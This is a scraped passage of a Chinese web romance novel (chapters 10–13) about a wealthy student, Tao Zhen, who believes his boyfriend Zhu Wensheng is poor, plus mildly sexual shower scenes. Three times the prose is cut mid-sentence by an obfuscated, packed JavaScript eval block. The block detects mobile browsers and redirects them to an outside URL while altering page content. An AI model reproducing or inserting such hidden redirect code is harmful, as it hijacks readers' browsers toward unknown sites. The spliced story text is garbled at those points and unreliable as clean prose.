霓虹灯下,祝闻声的侧脸模糊不清,保持着左腿放松地搭在楼梯台阶上,右腿为中心的姿势。 他盯着陶真看了几秒,意味不明地说:“晚安。” 这语气……应该是没生气的吧? 直到车辆远离了酒吧,学姐的夺命连环call响了进来,陶真才放下心中的揣测,匆忙点开了微信。 那头先是给他甩来了一个写满了吴斌等人炸裂事迹的PDF文件,在解答了他疑惑了许多天的事的同时,跟他讲了刚刚卫生间旁的后续。 吴斌本来是嚎叫着想要报警的,抱着自己的胳膊大叫着说陶真和同伴害惨了他。结果刚把监控调出来,吵吵嚷嚷地过了一阵子,还没来得及真报警,外面就忽然来了一波学姐他们也不太熟的人,把吴斌围起来带走了。 有的大二学生认出来,为首那个人是赵钊。 南城有名的二世祖,家里贼有钱的混世魔王,“太子爷”的好兄弟。 陶真有点懵:“‘太子爷’?” “上一个太子爷应该是一百年前的事情了吧,怎么咱们现代还有啊,”他喃喃自语般说,“这可是杀头的罪啊……” 学姐差点被他呛死:“当然不是那个意思啦。‘太子爷’只是个绰号而已,他是祝家的独生子,为人很低调,有着那么牛逼的背景,却在前几年的全国青少年柔术比赛里获得了冠军。虽然他之后退役了,祝家也清空了所有他打比赛的新闻,他渐渐消失在所有人的视线里……但还是有人会戏谑地喊他‘太子爷’。” 陶真恍然大悟般“哦”了一声:“那这件事跟他有什么关系啊?” “问题就在这儿!”学姐一拍大腿,“我们也不知道吴斌这些人到底怎么惹上他和赵钊了。不过不管怎么说,你是不用担心了,他们对付起吴斌这种小喽啰,就跟砍瓜切菜一样。” 陶真立刻对这位素未谋面的太子爷多了几分敬佩。 “学姐,你知道这个……唔……‘太子爷’,叫什么名字吗?” 学姐想了想:“不知道,当时他打比赛的时候还是未成年,豪门出于保护起见,没让他用真名,所以大家才给他起昵称的。而且现在他在网上的资料也都差不多没了,大家就知道他姓祝。” 又简单地聊了两句,学姐挂断了电话,只留陶真一个人拿着手机,独自沉思了片刻。 风太大,他有些没听清,那位太子爷到底是姓祝,还是姓朱? 应该是姓朱吧。 朱太子,嘿,还是大明王朝的呢。 11. 第 11 章 这位大明王朝的封建余孽太子爷并没有得到陶真过多的关注。 虽然很感谢他在无意之中对自己的帮助,但陶真并没有对他产生什么额外的崇拜心思。 毕竟,太子爷和穷学生相比,他还是比较喜欢励志向上的穷学生一点。 祝闻声虽然家庭贫穷,说不定有一个生病的妈、好赌的爸,上学的妹……但靠自己的努力考上了南城大学,还在上学的同时不停地打黑拳,兼职。 不接受自己给他的昂贵礼物,也不需要很多钱……这叫什么,叫做贫贱不能移! 车辆越过汹涌的人潮,终于在公寓楼下停好。陶真下车跟司机打完招呼说再见才上楼,一路上,他脚步轻快,甚至还自顾自地想象着下次与男友单独二人出去约会的场景,没忍住把自己逗乐了。 吃夜宵,洗漱,跟爸妈打电话,被佟夏和顾行舟信息轰炸……一直到深夜十二点,陶真才松开了手机,后知后觉地摸了摸已经笑僵的脸,缓缓地在床上倒下。 四周骤然安静下来。 指缝里泄露了些许水晶灯璀璨的光芒。 照得眼睛有些痛。 那些傍晚时分听见的话,被刻意忽略了一个晚上,终于无法忍耐,以疯狂反噬的速度冲涌了上来,似乎要将他整个人都吞没。 “你也就是靠着你爸妈的米虫。” “你爸妈都后悔生了你这个一事无成的败类出来!” 陶真一骨碌翻了身,将自己的脸埋进了被窝里。 手指不自觉地攥紧了床单,几乎要将那一块布料硬生生地扣破。 脑袋一瞬间变得嗡嗡响,吴斌狰狞的面孔在脑海里循环播放,同另外一道面容扭曲模糊不清的身影糅在一起。那个背着身子、高大威严的老师,明明前一秒还笑眯眯地冲他母亲林曼妙要签名,后一秒却在走廊的拐角和另一个人嗤笑出声。 “林曼妙那么厉害的一个人……怎么就生了这么个儿子出来?” “对……陶大俊和她一起过来的,想要他们儿子跟我学音乐……哈哈哈哈,笑死人了。” “他们自己心里一点数都没有吗?要不是看在钱的份上,谁还……” “怎么了?我说的难道有错吗!” “他们儿子看起来就很蠢,让我去教这种一点音乐天赋都没有的人?” 很蠢。 没有音乐天赋。 林曼妙这么厉害的一个人,生的儿子竟然是这样的。 也许不止这个老师,所有人都这样觉得。 陶真从前一开始听见这些话是很生气的,他很想反驳,所以勤加练习,就是想要用实力证明自己,把结果恶狠狠地甩到瞧不起他的人的脸上。可他越努力,得到的结果就越不尽人意,不仅失败了,还失败得很难看。 在艺考那天,当着那么多人的面,对上那么张陌生的视线,以及林曼妙和陶大俊担忧的目光……他只觉得自己的大脑一片空白,等回过神来时,一切就已经结束了。 他明明没有发挥出自己真正的实力。 可“没有天赋”、“没有本事”的预言却被印证,成了真。 陶真猛地呼出一口气,撒开了被自己捏得乱七八糟的床单,狠狠地闭了闭眼睛,将吴斌狰狞的面孔和那男老师讥讽的神色从脑海里一起驱除出去,让脑海里举着小钢叉的天使小人用力地踩了好几脚。 他爸妈很爱他,绝不会后悔生出他来,哪怕他就是个一事无成、只会花家里钱的废物。 是他自己,无法心安理得地接受现在的情况,想要成为父母的骄傲。 所以,如果想要有所成就、有所改变,而不是成为吴斌口中那样的人的话,他该从哪里开始呢? 这次,他还会跟之前一样,灰溜溜地收场吗? - 另一头。 从陶真车上下来,祝闻声往酒吧的方向走了几步,却没进去,而是在短暂的停顿之后直接绕进了停车场,开车回俱乐部。 从满是普通会员的练习区进入比赛选手的区域,人明显少了很多。一帮看起来十六七岁的少年正挥汗如雨地训练着,见到他的时候立刻站直了身子,每个人的目光都灼灼热烈,崇拜之情几乎快满溢出来:“S哥!” “S哥晚上好!您今天也照常训练吗?” “S哥!请问您什么时候能教我们一场……” “……” 他们都亲眼见过祝闻声在八角笼中的模样,每个都是他的小粉丝,恨不得把他围起来跟他一起打。教练不得不用手里卷筒的表格挨个敲了敲他们的脑袋,冷着脸说:“怎么?你们都已经训练完了?再说话就给我加训!” “S,你过来一下,主教练跟营养师调整了一下你接下来一段时间的训练量和食谱,”训斥完那帮小孩,教练才向祝闻声的方向走了两步,“诶?你身上穿的这是……” 祝闻声的唇线紧绷着,却并没有像往常那样点头打招呼,反而脚步匆匆、径直上了楼。 二楼最前面的一间空宿舍收养了一条德牧,也一听见祝闻声的脚步声就开始摇尾巴,期盼他能进来喂自己吃东西,结果却发现那人今天似乎很着急,很快就越过了一帮比赛选手住的单间,回到了他独立的休息室。 关上大门,四周黑暗。 祝闻声倚上门板,终于平复了一下鼓噪的心跳,攥住了那件被陶真穿过的黑色卫衣深深嗅了一口,冷淡而克制的俊脸上有着显而易见的失神。 明明只披了一会,却溢满了少年身上浅淡的香气。 也许是他着了魔,陶真那张漂亮的笑脸在他脑海中挥之不去;在唇瓣亲上他下巴的瞬间,他就忘了避开,浑身的肌肉只感觉到了柔软的手臂、纤细的腰肢,笔直而饱满的双腿…… 这些细微而诱惑的瞬间循环播放,诡异地,激起了祝闻声的欲.望。 他的喉结上下滚了滚,单手解开衬衫,光裸着上半身,提着黑色卫衣进了浴室。 皮带才刚发出“咔嗒”的一声,手机就响了。 “……” 看了眼来电人,祝闻声并不是很想在这个时候接。 他打开水龙头,哗啦啦的水流顺着他坚实的肩背一路流淌,从线条分明的鲨鱼肌往下,越过了布满青筋的小腹,没入了未曾来得及全部褪下的底裤里。 祝闻声攥住那件黑卫衣的手有些用力。 电话自动挂断,又响了第二遍。 祝闻声捋了一把被水流沾湿的黑发,锋利的眉宇间有几分戾气,更显深邃。 他摁下接通,声音冷淡且低哑:“说。” “大少爷,好歹也是让我办事,对我态度好点行么?”赵钊玩世不恭的声音从电话那头响起,像是抱怨又像是邀功,“你吩咐小人去处理的人已经解决完了,跟做PDF比起来,我还是觉得把他搞成废物更简单一点。” “其实我觉得很奇怪,这种人平常你根本不会多搭理一眼的。那陶真到底是什么天仙下凡啊,值得你帮忙出头,还这么大动肝火?” “哎……你在洗澡吗?等会,你刚刚那个声音……” 祝闻声忍得额头青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775763|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筋都在跳,慢条斯理地呼出一口气:“没什么事就挂了。” “操!”赵钊惊叫一声,“你旁边还真有人?你干嘛呢你——” 祝闻声挂了电话。 压制过的汹涌情潮上涌,金发少年的笑颜在脑海里一帧帧定格浮现,欲.望也随之起伏,在漫长的一段时间后才达到顶点。 浴室里的水声淅淅沥沥地响了一个多小时。 祝闻声赤足走了出来,垂下眼。 最终还是没把那件黑色卫衣扔进洗衣机。 …… 翌日清晨,祝闻声提前了两个小时来到训练室,把昨晚缺的时间补回来。 练到一半时,满身酒气的赵钊大咧咧地闯进了俱乐部,在看见他的瞬间眼睛一亮:“果然被我抓住了!快点坦白,你昨天到底在干嘛?铁树开花,仙人掌发芽啊,你是不是跟那个陶真已经……” “肯定被我猜中了。想不到啊想不到,你竟然也有这一天,我还以为你会孤家寡人一辈子呢——” 祝闻声正在做蹲举,一组八次,一共做八组。因为是简单训练,所以只上了1.5倍的体重。 少年长着一张俊美冷淡的脸,力量却强的可怕吓人,即使重量不低,却依然脸色平静,仿佛要靠训练压制下什么东西。 直到组间休息的三分钟里,他才分心看向赵钊,淡淡道:“难得看你起这么早。” 赵钊挥挥手:“起什么?老子根本没睡,才通宵完过来的。快点回答我问题行吗!” 祝闻声语气微凉:“我和他之间,不是你想的那样。” “那是怎么样?别告诉我你圣母心发作了,我可不相信!” 赵钊喋喋不休地追问,祝闻声一直都没开口,继续做蹲举。 到最后,几个小时的训练结束,眼下挂着一圈青黑的赵钊已经去了半条命了,祝闻声才顾念起他刚刚不断重复的“兄弟恩情”,勉强将人提着,一起去楼下吃营养餐。 赵钊平日里哪里吃过这么清汤寡水的东西,愤怒地摔了筷子:“祝闻声!你这儿的饭简直比那家Omakase还难吃!” 赵钊说的是一家他一生黑的米其林餐厅,那家店的老板是他国际高中的同学。 请来的主厨用鼻孔看人,口味怪癖,关键是上厕所回来的时候貌似没洗手。 “是吗?”祝闻声面无表情地吃了一块只有食材本味的西兰花,“那你可以考虑去吃那家。” “……那还是算了,当我没说。” 赵钊憋屈地捡起筷子,麻木地吃完一顿快把他吃吐的饭,还在对祝闻声的情感状况耿耿于怀。 而在被他追问第无数次后,祝闻声终于丢下了手里的壶铃,站在原地呼出一口气。 高挑的少年肌肉极漂亮,坚实而有力,只是俊美的脸冷着,看起来像是生气了。 赵钊感觉玩脱了,缓缓闭上嘴:“我错了,不问了就是了……” 祝闻声却往他的方向走了一步。 迟疑了那么久,都还没有来得及面对自己的内心和现状。 也许,现在,他也该承认这个事实了。 “如你所说,我确实跟陶真有关系。” 祝闻声沉默片刻,在赵钊饱含期待的目光中,平静地将下半句话补全:“我被他包/养了。” “我应该,是他养在外面的小白脸。” 空气陷入了几秒的死寂。 赵钊猛地闭上了双眼,喃喃自语般说:“我该睡了,我真的该睡了。” 祝闻声:“……” 12. 第 12 章 迎新会这天的小雨过后,南城的天气凉了几度,新学期也正式拉开了帷幕。 南城大学里,“欢迎新同学”的红底黄字横幅几乎挂满了道路两侧的大榕树,社团招新摊更是把人行道挤得水泄不通,四周的交谈声、喧哗声、欢笑声不绝于耳。 陶真无暇顾及卖力发着宣传单的学长学姐们,只推着手里两个粉红色的大箱子,往女生宿舍楼下走。 前段时间在迎新群里就跟他加了好友的女生,贾嘉,正大包小包地站在门口,一见到他就露出了个感激到哭的表情: “陶真!谢谢你!那个出租车司机真是气死我了,要不是你我都不知道该怎么办!” 金发少年抹了把额前的汗,露出了个灿烂的笑容,清脆的嗓子格外响亮:“这有什么,举手之劳。那种欺负女孩的老头就该挨点教训才是!” “呜呜呜呜,大家都去参加社团招新了,只有你愿意过来帮我,”贾嘉还是很感动,若不是男女授受不亲,真恨不得冲上去亲陶真一口,“耽误你这么长时间了,我等下请你吃饭吧?” “不用!”陶真依然笑着摇摇头,他身上的迪奥外套沾了许多灰,他却根本没在意,只是随手掸了掸。 见状,贾嘉心里更加过意不去,她匆忙将行李推回了宿舍,拿了几张湿纸巾出来给陶真:“那至少让我陪你一块儿去招新摊那边逛一圈吧?我认识好几个学生会的学姐,你想参加哪个部门?我都能为你介绍!” 陶真其实对这种学校里的小团体并不太感兴趣,但他不好几次三番地拂了女孩的好意,便应了声,和她一块儿去招新摊。 刚刚没来得及仔细看,这会儿他才发现,道路两侧还摆放着各种印着社团名称的KT板,从青年志愿者协会、科技创新协会这种“正经”的,再到cosplay和动漫社这种“不正经”的,热热闹闹、互不干扰的坐落在街道两侧,颇有一种百家争鸣、百花齐放的意味。 原本只是过来凑个热闹,这会儿陶真却有些认真了。 他的目光慢慢地从各个摊位上滑过,最后落在某一个上,在看清那上面的文字后,死死定住不动了。 “哎陶真,我看见我认识的学姐了,我们……” 贾嘉扬起手挥了挥,正要笑着回头拉陶真一块过去,便见他仿佛被施了定身咒一样站在原地,直勾勾地望着一个排起长龙的招新摊。 女孩有点懵,顺着他的目光往那儿望去,有点好奇地眨了眨眼。 “诶?陶真,原来你喜欢音乐呀?” 陶真猛地回神,像是被烫到了一样收回了目光,手足无措地扣了一下自己的衣角,讪讪道:“不…我就是…嗯……” 他吞吞吐吐道:“……我就是看一下。你知道为什么这个音乐社周围的人那么多吗?” 贾嘉“哦”了一声,立刻被分散了注意力:“你问我算是问对人了!我还认识一个音乐社的学姐,她和我说他们社团很牛逼,不仅可以承办学校的活动,近距离听很多堪比专业歌手的演出,而且福利也很好,团建、游戏一个都不少。” “最关键的是什么,音乐社主打一个开心就好,进入的门槛并不高,只要是真心喜欢音乐、不是来混学分的,就算是个音痴也能进!” 她说得眉飞色舞,陶真的眼睛也渐渐地亮了起来,尤其是听见最后一句时,更是情不自禁地攥紧了手。 向来大大方方的金发少年总是一副没心没肺的样子,唯有此时此刻,神态间几乎有些小心翼翼的谨慎。 贾嘉只以为他是因为唱歌难听所以才这么犹豫,露出个安慰的笑容,直接拉着他一块往音乐社的方向走:“哎呀,别不好意思,我从小就五音不全,但我还想参加一下呢!走吧走吧,咱们一起去看看呗。” 陶真纠结了两秒,用力地点了点头,跟她一块站到了队伍末尾,眼睛亮晶晶地盯着最前面,几乎屏息凝神。 今天只是初步报名而已,大家排队填表格的速度都很快,不一会儿就已经轮到了他们。 负责迎新的学姐语气特别温柔,将纸和笔推到他们跟前,同时和他们介绍了音乐社面试的流程: “大家也知道我们音乐社的报名人数非常多,如果要线下面试的话,可能会花费大家大半天的时间。所以我们的面试方式是线上,每个想要报名的同学需要录制一段自己清唱的视频发到这个邮箱里,并附带一段想申请进入音乐社的理由,时间截止到下周一。” “我们会在两个工作日内出结果,到时候会以短信方式通知哦。” 这个社团的面试,甚至不需要在数百人的面前当场表演。 陶真心中一松,彻底没了顾虑。他接过笔,一笔一划地写完自己圆滚滚的名字,这才在衣角蹭了蹭自己满是汗的手心:“谢谢学姐!” 招新摊的学姐冲他摇摇头:“不用谢。欢迎每个喜欢音乐的人加入我们。我们不需要你足够好听,但需要你足够热爱。” 陶真愣了两秒,忽然一股热流从心底冒了出来,加速地流遍了他的全身,带来了一阵沸腾的酥麻。 也许,他真的可以试一试,就从这里开始。 几秒后,陶真笑了起来,清澈透亮的狗狗眼弯起,浅粉的唇瓣张开,露出两颗明晃晃的小虎牙:“嗯!” 周围众人都这个笑容晃了神,就连贾嘉都怔了半晌。 不远处一个正在跟同伴聊天的斯文青年更是停下了手里的动作,目不转睛、直勾勾地朝陶真望了过来。 陶真却对这一抹视线浑然未觉,满心满意都沉浸在发现音乐社的喜悦之中。 恰好贾嘉要去跟自己认识的学姐打招呼,他便跟女孩告了别,乐滋滋地绕出了音乐社的招新摊位。 唔,面试应该唱一首什么歌比较好? 这种面试视频能自拍吗,是不是他拍比较好呢? 要不然给祝闻声打个电话吧,问他有没有空跟自己出来…… 想到这儿,陶真掏出手机点开了拨号页面。然而,他还没来得及摁下去,迎面就撞来了个戴着眼镜的斯文青年。 那青年一把捞住了踉跄两步后退的陶真,扶着他站定,然后才礼貌地笑起来:“抱歉,这周围人太多了……诶,我刚刚好像在那边看过你,你报名了音乐社吗?” 陶真抬起头,他现在心情很好,所以哪怕莫名其妙被撞了一下,脸上依旧带着笑:“对!你也报名了吗?” “不,我是音乐社上级——大学生艺术团的副部长,我叫白宇轩,”离得近了,白宇轩更加细致地将陶真打量了个遍,饶有兴致地说,“你叫什么名字?” 陶真从小到大交友无数,只大大方方地回答:“白部长好,我叫陶真。” “陶真……哇,你名字真可好听。” 白宇轩的眼睛微微眯了起来,冲他晃了晃手机,“加个微信怎么样?对音乐社有什么不懂的事情、不满意的地方,都可以直接跟我联系哦。” 陶真一直就被他爸灌输“多个朋友多条路”的理念,闻言爽快地掏出了手机跟白宇轩互加了好友。 在看见白宇轩的头像是一个红色的拳套时,他才“唔”了一声,产生了几分兴趣:“你喜欢拳击?” 白宇轩颇有点春风得意地点了点头:“嗯,我认识不少拳击社的人,对这项运动也有一点了解。你呢,也喜欢吗?” “我还好,”陶真笑着退出了资料卡页面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775764|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给祝闻声打了个电话,“主要是我养的人,他也是打黑……呃,练拳击的。” “而且他也跟你一样,看起来斯斯文文,像个部长一样。” 白宇轩敏锐的意识到了一些不对劲:“养的人?” “啊!不是不是……” 陶真犹豫了一下,包养这种事到底不能让太多人知晓,他换了个说法:“准确点说,我男朋友。” 白宇轩的身体僵了僵,过了几秒,忽然被一阵脑海里的电流劈松:“男朋友……” 下一刻,他看向陶真的目光中更多了几分热切的滚烫,也多了几分耐人寻味的深意: “那很巧了,你看我跟你男朋友是不是还挺有缘的?” “……” 陶真握着手机,忽然抬起头,神色有些复杂地看了一眼白宇轩,不动声色地把手机拿远了些:“还、还好吧。” 白宇轩笑起来,似乎还想说什么。 可陶真心中警铃大作,顾不上多聊几句社团的事,匆匆忙忙地说了声再见,就在他依依不舍的眼神中抱着手机跑远了,离开了招新摊。 太可怕了! 这人根本没见过祝闻声,竟然就敢出言调戏他! 陶真用力地锤了一拳街边的大树,心里愤愤,连“嘟嘟”的通话等待声结束都没发现。 直到祝闻声用那清冷好听的嗓音喊了他好几声:“陶真?” 陶真才猛地回神,甜甜地问:“嗯!你忙完啦?今天酒吧里人多不多呀,你累不累啊?” 刺目的白炽灯下,八角笼中,周围躺了一圈被打趴下的少年。他们每个人都像破风箱一样喘着气,惊恐且畏惧地看着祝闻声。 祝闻声淡淡地扫了一眼众人:“不多,很轻松。” “好吧……可是马上就开学了,你又要上课,又要上班,很难平衡,得考虑暂时放下酒吧的兼职了啊。” 祝闻声抬腿,一个低扫把好不容易爬起来进攻的少年撂倒,一拳砸上那人的脸侧,回答得言简意赅:“嗯,知道。” 陶真松了口气:“你放心,我养得起你。如果在工作里遇到那些胆敢欺负你、调戏你的人,你就直接打回去,医药费我来赔!” 一众少年浑身瘫软地趴在地上,只能靠着顽强的意志力爬起来,却在下一秒重新被重重地揍倒。 “没人会欺负我,”祝闻声甩了甩手臂,顿了几秒才说,“陶真,其实我没有你想象当中的那么穷……” “好好好,我知道你有钱。” 陶真打断他,语气充满怜惜,显然完全没有把他的强调当真,“那我明天接你去约会,你有空吗?” 祝闻声真的不知道这个社会到底怎么了,为什么说真话还要被怀疑。 他踢了一个试图从背后偷袭他的少年,放弃了在电话里跟陶真解释,打算明天用实际行动证明:“有空。” “明天我来买单。” 陶真微微睁大眼,显然有些不赞同。 但他舍不得几次三番地下小男友的面子,只好“嗯嗯”地应了声,转头去定了一家最近在社交媒体上特别火爆的Omakase餐厅。 听说这家Omakase的主厨是从国外请来的海归,虽然脾气很傲,但口味特别高级,做什么食物都有一股原始狂野的食材本味…… 他不懂,但想带小男友过去一起尝尝。 陶真收回手机,准备回家。这才发现自己砸树的那只手已经被磨红了,白皙的指节火辣辣地疼。 他嘶哈地吹了好一会,又叹了一口气。 可怜又纯情的祝闻声啊,对周围这些豺狼虎豹一无所知,要不是有自己保护着,不得给别人欺负死? 13.第 13 章 “可怜”的祝闻声挂断电话,顺势将手机扔到了一边。 趁着这个机会,有人咬紧牙关,猛地扑了上来,试图用断头台缠住他。可惜下一秒就被他迅速地反应过来,一个侧身闪过,反手摁住了,好好地解释了一番什么才叫真正的“断头台”。 果然,短短的几秒之内,那人就已经翻起了白眼、只能疯狂无助地拍打着一旁的地面。 祝闻声这才松开了钳制,不轻不重地拍了拍那人的肩膀,翻身从笼内出来。 他拿起手机,淡淡地扫了一圈,撂下两个字:“加练。” 八角笼内鸦雀无声。 所有崇拜他的人连大气都不敢出,每个人都被打成了小鸡仔,只敢用余光战战兢兢地目送着他上了二楼。 祝闻声回到房间。 他打开了跟陶真的聊天界面,盯着刚刚结束不久的通话记录看了半晌,过了好几秒,随手将上身的黑背心脱下,进浴室开了花洒。 水流顺着他线条分明而结实的肌肉往下,一路流淌过布满青筋的小腹,勾勒出某个蛰伏恐怖的物什。 水声淅淅沥沥,过了许久,他才从浴室出来。 高冷俊美的少年低下头,终于把那件已经没任何味道的黑色卫衣也扔进了洗衣机。 …… 翌日是周六。 陶真很早就起了床,站在衣柜前认真地挑选了一番,选定了一套范思哲白金相间的男装,搭配了一条闪着耀眼光芒的项链,以及一副大得能遮住他半张脸的墨镜。 成功地把自己打扮成了一个金光闪闪的暴发户后,他才乘车去了Light酒吧门口,潇洒地降下了车窗。 在看见黑发黑衣的少年走出来时,陶真兴高采烈地挥了挥手:“祝闻声!” 被喊到名字的黑发少年步子一顿,快步上前。 车门打开,他长腿一迈,微微抻直了裤腿,十字架的印花登时显露了出来。 “今天去哪?” 十字架,克罗心,一条牛仔裤要十来万。 赵钊有一段时间特别迷恋这个牌子,一口气买了好多,结果等配货到了却又不喜欢了,只能腆着脸到处送。 祝闻声以前从没穿过,今天出门前好不容易才从衣帽间里翻出来。 “先去吃饭,然后去KTV一趟,因为我有个社团面试视频要拍,之后看你想去哪儿,都可以。” 陶真的鼻尖微微皱了一下,取下自己的墨镜,看向祝闻声的腿,“你这条裤子……” 祝闻声微微侧目。 “在哪儿买的!真是一群黑心商家,就知道欺负人!”陶真大怒,“你看看,这刺绣边全都起毛了!” “……” 见祝闻声沉默,陶真才后知后觉地反应过来:“哦,这个毛边是人家的设计吗?那还挺好看的哈哈哈……” 祝闻声个高腿长,完全就是男模身材,无论什么衣服上他的身都很好看,跟个行走的种草机似的。 金发少年笑起来,双眼湿漉漉地弯起,语气甜蜜活泼: “有链接吗,我回头也给我爸也买一条。” 祝闻声闭了闭眼,岔开了这个话题:“有想好去哪个餐厅吗?” 陶真点点头,看向祝闻声的目光有些无奈:“想好了,但,你其实不用一定坚持请我吃饭……” 祝闻声淡淡道:“是哪一家?” 陶真没法,只好把自己昨天预订好的Omakase给祝闻声看了一眼。 然而就这么一眼,祝闻声的目光凝住了。 这家Omakase不是别的,正是昨天赵钊骂骂咧咧了半晌的那家—— 主厨不仅口味怪癖,上完厕所回来还不洗手。 “……能不能,”祝闻声顿了顿,“换一家别的餐厅?” 陶真却不知想到了什么,露出一个怜惜的目光:“不用换,我昨天已经提前买过单啦。” 祝闻声:“……” 二人交谈的同时,车辆也越过了南城大学边汹涌的人潮,在繁华的商圈内停下。 “嘟嘟”的鸣笛声和人们交谈的欢声笑语融杂在一起,颇有种人间烟火的意味。陶真弯着眼,仰着一张红扑扑的笑脸看他,双眸澄澈,像是纯洁的小动物。 总是叼来亮晶晶的东西打扮自己,跟求偶开屏的小孔雀一样。说到底,没什么心机。 祝闻声冷淡俊美的脸上有一瞬的松动,浓黑阴郁的睫毛垂下。 说不清为什么,他放弃了辩驳,只是自然而然地跟上了陶真的步子,进餐厅入座。 餐厅内极其昏暗,明明这会是正午,却从四处开了灯,把氛围打造得像是盘丝洞。 长桌上就只有零星几个客人,用鼻孔望人的主厨跟从前一样,端着一条死不瞑目的金枪鱼转了一圈,转头开始在操作台上一通胡乱操作,端上了一颗成年人大拇指头差不多大的“金枪鱼泥佐樱桃鹅肝泡沫慕斯”。 一早上没吃饭的陶真已是饥肠辘辘,拿了慕斯,没多怀疑就直接张开了嘴。 下一秒,猛烈冲击的生肉味和黏腻的口感在口中爆开!他顿时感觉自己被人重重打了一拳,头晕眼花,好不容易才忍下了这股呕吐的冲动。 但他没来得及缓冲太久,主厨的下一道菜就来了,“生腌甜虾海胆奶油酱鲍鱼”。 陶真这次迟疑了半晌,才勉强夹起鲍鱼壳,尝了一点点鲍鱼上面的奶酱。 不远处,一对嘴快的情侣没忍住:“呕——” 陶真的太阳穴跳了跳,果断放下了手。 台上的主厨像是因为那对情侣不礼貌的反应生气了,重重地摔了一下手里的鱼肉,向他的方向看了过来。 陶真立刻像上课被老师点到名那样低下了头。 正在他硬着头皮准备将这道菜咽下去的时候,就忽然感觉自己的手腕被一只粗粝滚烫的大掌捉住。 细密的电流从二人身体相触的地方一路上涌。 陶真的呼吸乱了一拍,只感觉一道温热的呼吸喷洒在他的颈间,少年低哑的声音响起: “过敏,忘了?” “……” 陶真忽然悟了,丢下了手里的鲍鱼壳,重复道:“是啊,怎么就忘了我海鲜过敏,不能吃了呢。” 主厨收回了目光,动作也温柔了许多。 陶真松了口气,转头望向身侧的祝闻声。 两人之间的距离很近,鼻尖几乎快要亲昵地撞到一起,温热的呼吸缓缓地滑过皮肤,留下一连串颤栗的酥麻。 祝闻声被这点酥麻撞得有些不自在,情不自禁地抬起眉梢,压眼的阴影淡了许多,漆黑如墨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782769|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底独独映着陶真的影子。 下一秒,笑弯了眼的陶真毫无心机地贴上他的耳朵,撒娇一样说悄悄话:“祝闻声,你好聪明啊,真厉害呀。” 更像那种看起来冷冷淡淡、不叫一声,实则对主人贼贴心的大猫了。 “……” 咚,咚咚。 猝不及防地,祝闻声的喉结用力滚了滚,猛地坐直了身子。 然而,他的脑海里却止不住地回播着刚刚的画面。陶真的嘴唇是粉色的,偶尔张口时露出的舌尖嫣红,像是藏在丛林深处的嫩心浆果。 柔软,嫩生生的。 让人情不自禁地想去尝一尝,看味道是不是跟想象中一样甜蜜。 之后的两个小时内,餐点陆陆续续地上了桌,主厨还是稳定发挥,一道比一道难吃,陶真和祝闻声两人干脆从头过敏到尾。 直到最后,服务员小姐姐开始上结束的甜品,抹茶冰淇淋,现场的所有客人才如释重负。 陶真刚迫不及待地接过甜筒,就见祝闻声收起了正在发消息的手机,对服务员摇了摇头。 他情不自禁地睁大了眼,小声说:“为什么不要呀?这是今天唯一一个能吃的东西……” 祝闻声平静地说:“格斗要控制饮食。” 陶真恍然大悟,对祝闻声的自律感到由衷的敬佩。 两人一块出了那家日料店,步行着去隔壁的商场。还没走到目的地,陶真的手机就忽然响了一声,上面显示退款金额到账。 陶真疑惑地“嗯?”了一声,怕人家是不小心弄错了,赶快停下步子打了个电话回去。 那头的女声说:“是这样的陶先生,考虑到您和同伴今天对几乎所有菜品都过敏,所以我们现将金额全部退还给您,希望您的用餐体验愉快……” 陶真再三询问会不会影响女孩他们的薪酬,得到了否定的答案之后才放下了心,笑得露出了自己的小虎牙:“那也实在是退的太多了,这样吧,我再给你们……” 这会才九月初,碧空如洗,烈日当空,地上依然蒸腾着热气。 生动活泼的金发少年笑意盈盈,唇红齿白,手里举着的抹茶冰淇淋有些融化,顺着蛋筒的边缘流淌,粘上了他细白的手指。 祝闻声盯着那抹颜色看了几秒,准备从口袋抽出向来随身携带的手帕纸。 退钱,是他意料之内的事。 陶真这个人,却一向都不在他的意料之内。 “唔,我其实觉得今天的菜……” 陶真自己也注意到了指尖的黏腻,但他还在讲电话,没有办法擦,只好把求助的目光投向了祝闻声,做了个口型。 ——求求你啦,帮我一下。 “嗡”地一声。 祝闻声的心脏不受控制地剧烈跳动了起来,将陶真祈求的可怜表情尽收眼底,一阵难以形容的情绪在胸口翻涌。 格斗选手要克服本能,放弃许多喜欢的东西,学会控制自己。 祝闻声一直都做的很好。 但此时此刻,他很想尝陶真的味道。 几秒后,说得兴高采烈的陶真忽然一惊,声音戛然而止,茫然地抬起眼—— 俊美的黑发少年低下头,浓黑的睫毛垂下一片墨色的阴影,伸出舌尖,开始舔他指尖融化的冰淇淋。